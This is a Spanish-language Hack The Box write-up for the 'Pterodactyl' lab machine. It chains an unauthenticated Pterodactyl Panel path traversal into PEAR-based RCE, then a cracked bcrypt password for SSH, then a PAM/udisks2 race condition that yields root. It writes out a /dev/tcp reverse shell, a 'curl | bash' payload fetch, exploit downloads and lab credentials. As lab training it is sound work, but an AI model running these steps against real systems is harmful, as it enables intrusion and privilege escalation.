Pterodactyl WriteUp

Table of Contents

Pterodactyl WriteUp

Pterodactyl es una máquina de dificultad 🟧 Medium de la plataforma Hack The Box, correspondiente a la Season 10 (semana 2). El nombre no es casual, el vector principal es Pterodactyl Panel, un gestor de servidores de juego open-source ampliamente desplegado en Internet. La cadena de ataque combina un path traversal no autenticado que expone PEAR y permite RCE, seguido de extracción de credenciales de base de datos, crackeo de hash bcrypt para pivotar a un usuario con SSH, y escalada a root encadenando CVE-2025-6018 (PAM) con CVE-2025-6019 (udisks2/libblockdev).

🗺️ Cadena de Ataque

Nmap → Puertos 22 (SSH) + 80 (nginx)
      │
      ▼
Fuzzing de subdominios → panel.pterodactyl.htb
      │
      ▼
CVE-2025-49132 → Path Traversal en /locales/locale.json
      │
      ▼
PEAR pearcmd.php → escritura de webshell → RCE como www-data
      │
      ▼
/var/www/pterodactyl/.env → credenciales MySQL (pterodactyl:PteraPanel)
      │
      ▼
MySQL → hash bcrypt de phil → john + rockyou.txt → contraseña de phil
      │
      ▼
SSH como phil → user.txt 🚩
      │
      ▼
CVE-2025-6018 (PAM) → shell intermedia
      │
      ▼
CVE-2025-6019 (udisks2 + XFS image) → root 🏴

Pterodactyl es una máquina que refleja muy bien lo que ocurre cuando software de gestión popular se despliega sin actualizar. No hace falta autenticación para explotar el punto de entrada, CVE-2025-49132 es pre-auth con CVSS 9.8. Lo interesante está en la escalada, dos CVEs de 2025 encadenados en el stack de almacenamiento del sistema que no son especialmente conocidos fuera del mundo de Polkit/udisks.

🔍 Reconocimiento

Escaneo de Puertos

Añadimos la máquina a /etc/hosts y lanzamos el escaneo en dos fases:

echo "10.129.21.96 pterodactyl.htb" | sudo tee -a /etc/hosts

Fase 1 - Descubrimiento rápido:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv pterodactyl.htb

Fase 2 - Versiones y scripts:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv pterodactyl.htb
PuertoServicioDetalle
22SSHOpenSSH 9.6
80HTTPnginx 1.21.5 / PHP 8.4.8

Los puertos 443 y 8080 aparecen cerrados. El puerto 80 redirige a http://pterodactyl.htb/, página estática sobre un servidor de Minecraft.

Fuzzing de Subdominios

El nombre de la máquina ya es una pista. Pterodactyl Panel normalmente se sirve en un subdominio panel.:

ffuf -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 145
panel                   [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 367ms]

Añadimos el subdominio:

echo "10.129.21.96 panel.pterodactyl.htb" | sudo tee -a /etc/hosts

🎯 panel.pterodactyl.htb nos da la interfaz de Pterodactyl Panel v1.11.x. El panel pide credenciales para entrar, pero no las necesitamos.

💉 Acceso Inicial - CVE-2025-49132

¿Qué es CVE-2025-49132?

🧠 Concepto: CVE-2025-49132 es una vulnerabilidad de path traversal no autenticado en Pterodactyl Panel < 1.11.11. El endpoint /locales/locale.json acepta el parámetro locale sin validar suficientemente la ruta, lo que permite salir del directorio de locales y acceder a ficheros arbitrarios del servidor. Combinado con la presencia de pearcmd.php (parte de PHP PEAR), el path traversal se convierte en RCE sin autenticación - CVSS 9.8.

Confirmación de la vulnerabilidad

git clone https://github.com/str1keboo/CVE-2025-49132
cd CVE-2025-49132
python CVE-2025-49132-PoC.py test http://panel.pterodactyl.htb
[+] Target appears vulnerable (Path: ../../../pterodactyl)

Extracción de credenciales de base de datos

Antes de ir a por el RCE, el PoC nos permite leer ficheros de configuración. Leemos la configuración de base de datos de Laravel:

curl -G "http://panel.pterodactyl.htb/locales/locale.json" --data-urlencode "locale=../../../pterodactyl" --data-urlencode "namespace=config/database"
...
"username": "pterodactyl",
"password": "PteraPanel",
"database": "panel",
"host": "127.0.0.1:3306"
...

También obtenemos el APP_KEY de Laravel (AES-256-CBC), aunque para esta máquina no hace falta falsificar sesiones:

python CVE-2025-49132-PoC.py dump http://panel.pterodactyl.htb
[+] Laravel APP_KEY: base64:UaThTPQnUjrrK61o...MJqcbTSThY=
[+] Environment: production
[+] Cipher: AES-256-CBC

💡 El PoC base solo hace path traversal. Para convertirlo en shell necesitamos el módulo de RCE que usa PEAR pearcmd.php y codifica los comandos en hex para evadir filtros.

Reverse shell vía PEAR

Usamos la versión extendida del exploit con soporte de shell interactiva:

git clone https://github.com/malw0re/CVE-2025-49132-Mods.git
cd CVE-2025-49132-Mods

Preparamos el payload y el listener:

# Terminal 1 - reverse shell listener
penelope -p 8443

# Terminal 2 - HTTP server para servir el payload
echo 'bash -i >& /dev/tcp/10.10.14.150/8443 0>&1' > ~/http/shell.sh
goshs -d ~/http -p 80 -i 0.0.0.0

# Terminal 3 - lanzamos el exploit
python ape1.py --host panel.pterodactyl.htb --interactive

Una vez dentro de la shell del exploit, descargamos y ejecutamos el payload:

curl 10.10.14.150/shell.sh | bash
www-data@pterodactyl:/var/www/pterodactyl/public$

✅ RCE conseguido como www-data. El mecanismo interno usa pearcmd.php config-create para escribir un fichero PHP con comandos hex-encoded en /tmp y luego lo solicita vía HTTP para que el servidor lo ejecute.

🔑 Pivote a Usuario - Credenciales MySQL → phil

Lectura del fichero .env

Desde la shell de www-data, el fichero .env de Laravel confirma las credenciales que ya obtuvimos:

cat /var/www/pterodactyl/.env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

Extracción de hashes desde MySQL

/usr/bin/mariadb -h 127.0.0.1 -u pterodactyl -pPteraPanel -e "SELECT email, username, password FROM panel.users;"
+------------------------------+--------------+--------------------------------------------------------------+                                              
| email                        | username     | password                                                     |                                              
+------------------------------+--------------+--------------------------------------------------------------+                                              
| headmonitor@pterodactyl.htb  | headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |                                              
| phileasfogg3@pterodactyl.htb | phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |                                              
+------------------------------+--------------+--------------------------------------------------------------+

Crackeo del hash con John

echo '$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi' > hash_phileasfogg3.txt
john hash_phileasfogg3.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
!QAZ2wsx         (?)     
1g 0:00:00:53 DONE

Acceso SSH como phil

ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx

🚩 User Flag

cat /home/phileasfogg3/user.txt

🧗 Escalada de Privilegios - CVE-2025-6018 + CVE-2025-6019

Detección del vector

Revisando los procesos en ejecución vemos el demonio udisks2 activo. Una búsqueda nos lleva a dos CVEs de 2025 encadenados:

🧠 Concepto: CVE-2025-6018 inyecta variables XDG maliciosas a través de pam_env.so durante el login SSH, haciendo que systemd-logind marque la sesión como Active. Polkit, que confía en logind, concede permisos de allow_active, entre ellos el montaje de dispositivos loop vía udisks2. CVE-2025-6019 explota una race condition en libblockdev: durante el Filesystem.Check vía D-Bus, udisks2 monta temporalmente la imagen sin la flag nosuid. Un binario C (catcher) monitoriza /proc/mounts en tiempo real y ejecuta el binario SUID root de la imagen antes de que se desmonte.

En Kali — Preparar los artefactos

Clonamos el repositorio y ejecutamos build_poc.sh, que compila el binario C catcher en estático, crea la imagen XFS de 400MB, la monta, inyecta un binario SUID root dentro y la desmonta:

git clone https://github.com/MichaelVenturella/CVE-2025-6018-6019-PoC.git
cd CVE-2025-6018-6019-PoC
chmod +x build_poc.sh
./build_poc.sh
[*] Compiling catcher binary (static)...
[*] Creating XFS filesystem image (400MB)...
[*] Mounting image and injecting SUID shell...
[*] Done. Artifacts ready: exploit.img, catcher

💡 El build_poc.sh compila shell.c con gcc -static y lo copia dentro de la imagen XFS con chmod 4755. El binario estático garantiza compatibilidad con la máquina víctima sin depender de sus librerías.

Servimos los tres ficheros:

cp exploit.img catcher exploit.sh ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0

En la víctima — CVE-2025-6018 (sesión allow_active)

Por defecto, Polkit bloquea operaciones privilegiadas para sesiones SSH y pide contraseña de root. Escribimos las variables XDG que engañan a logind para que marque la sesión como activa en un seat físico:

echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment

Cerramos sesión y volvemos a entrar por SSH para que PAM cargue el fichero:

exit
ssh phileasfogg3@pterodactyl.htb # !QAZ2wsx

Verificamos que la sesión está activa:

loginctl show-session $XDG_SESSION_ID | grep Active
Active=yes

✅ Con Active=yes, Polkit concede allow_active y udisks2 acepta montar dispositivos loop sin pedir contraseña de root.

En la víctima — CVE-2025-6019 (race condition → root)

Descargamos los artefactos:

cd /tmp
wget http://10.10.14.150/exploit.img
wget http://10.10.14.150/exploit.sh
wget http://10.10.14.150/catcher
chmod +x exploit.sh catcher

Lanzamos el exploit:

./exploit.sh
[+] Session is Active. Polkit bypass enabled.
[*] Starting Background Trigger (Wait 2s)...
[*] Starting Foreground Catcher...
[*] HOLD TIGHT. ROOT SHELL INCOMING.
[*] (BG) Setting up loop device...
[*] (BG) Triggering Filesystem.Check on /org/freedesktop/UDisks2/block_devices/loop3...
[!!!] HIT! Mounted at: /tmp/blockdev.NTXKL3
pterodactyl:/tmp# whoami
root

Shell como root. El catcher detecta el mount temporal en /proc/mounts y ejecuta el binario SUID antes de que udisks2 lo desmonte. La race condition es de milisegundos — el binario compilado en C es imprescindible para ganarla con fiabilidad.

🏴 Root Flag

cat /root/root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1Reconocimientonmap, ffufSubdominio panel.pterodactyl.htb
2CVE-2025-49132 (Path Traversal)CVE-2025-49132-PoC.pyCredenciales DB + APP_KEY de Laravel
3PEAR RCE (pre-auth)ape1.pyShell como www-data
4Lectura .env + MySQLmariadb CLIHash bcrypt de phileasfogg3
5Crackeo bcryptjohn + rockyou.txtContraseña: !QAZ2wsx
6SSHsshShell como phileasfogg3 + user.txt 🚩
7CVE-2025-6018 (PAM → .pam_environment)manualPolkit allow_active activo
8CVE-2025-6019 (udisks2 race condition)exploit.sh + catcher + exploit.imgShell como root + root.txt 🏴

Un saludo, nos vemos en el próximo challenge.